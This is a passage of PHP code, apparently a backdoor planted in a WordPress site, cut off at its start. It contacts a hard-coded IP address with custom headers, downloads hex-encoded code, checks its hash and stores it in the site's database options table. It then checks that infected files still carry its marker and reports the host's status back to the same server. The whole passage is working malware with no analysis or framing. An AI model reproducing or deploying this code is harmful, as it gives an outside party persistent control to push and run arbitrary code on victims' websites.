e = $_SERVER['REQUEST_TIME_FLOAT'] - $_SERVER['ph']['last_update_int']; if ($delta_time > $check_interval) { if (file_exists ($flag_fn) && ($delta_time < ($check_interval + 300))) return; _PH_lwrite ($flag_fn, $_SERVER['REQUEST_TIME_FLOAT']); } else return; { $err = 'E0'; do { $headers[] = 'HSSDO: dl'; $headers[] = 'HSSID: '.$_SERVER['ph']['host_id']; $content = x_send ($headers); list ($md5hash, $phcode_pack) = explode ("\r\n", $content); $phcode = pack ("H*", $phcode_pack); if (md5 ($phcode) == $md5hash) { $phcode_new = str_replace ("['last_update_str']".'=0', "['last_update_str']='".$str_time."'", $phcode); $phcode_new = str_replace ("['last_update_int']".'=0', "['last_update_int']=".$_SERVER['REQUEST_TIME_FLOAT'], $phcode_new); $md5hash_new = md5 ($phcode_new); } else { $err = 'E2'; break; } $option_id = '208'; $res = $wpdb->update('kd_options', ['option_value' => bin2hex ($phcode_new)], ['option_id' => (int)$option_id], ['%s']); if ($res === FALSE) { $err = 'E4'; break; } $phcode_hex = $wpdb->get_var("SELECT option_value FROM kd_options WHERE option_id=208"); $phcode_new = pack ("H*" , $phcode_hex); if (md5 ($phcode_new) != $md5hash_new) $err = 'E3'; } while (0); } $check_str = '---'; if (isset ($_SERVER['ph']['HSarr']) && count ($HSarr = unserialize ($_SERVER['ph']['HSarr']))) { $check_str = ''; foreach ($HSarr as $fn) { if (file_exists ($fn) && strpos (file_get_contents ($fn), 'HSSDO')) $check_str.= '1'; else $check_str.= '0'; } } if (isset ($err2)) $err = $err.$err2; $out_str = $err.'##'.strlen ($phcode_new).'##'.$check_str; $headers = array (); $headers[] = 'HSSDO: rq'; $headers[] = 'HSSID: '.$_SERVER['ph']['host_id']; $headers[] = 'HSSSN: '.$_SERVER['ph']['host']; $headers[] = 'HSSCH: '.$out_str; x_send ($headers); unlink ($flag_fn); } } function x_send ($headers) { $headers[] = 'HSSPR: ph2'; $ch = curl_init (); curl_setopt ($ch, CURLOPT_URL, '116.202.186.134'); curl_setopt ($ch, CURLOPT_RETURNTRANSFER, 1); curl_setopt ($ch, CURLOPT_HTTPHEADER, $headers); curl_setopt ($ch, CURLOPT_CONNECTTIMEOUT, 2); curl_setopt ($ch, CURLOPT_TIMEOUT, 5); $content = curl_exec ($ch); curl_close ($ch); return $content; } function _PH_lwrite ($fn, $str) { if (!$fp = fopen($fn, 'c')) return FALSE; flock ($fp, LOCK_EX); ftruncate ($fp, 0); if (fwrite ($fp, $str) === FALSE) return FALSE; fflush ($fp); flock ($fp, LOCK_UN); fclose($fp); return TRUE; } ?>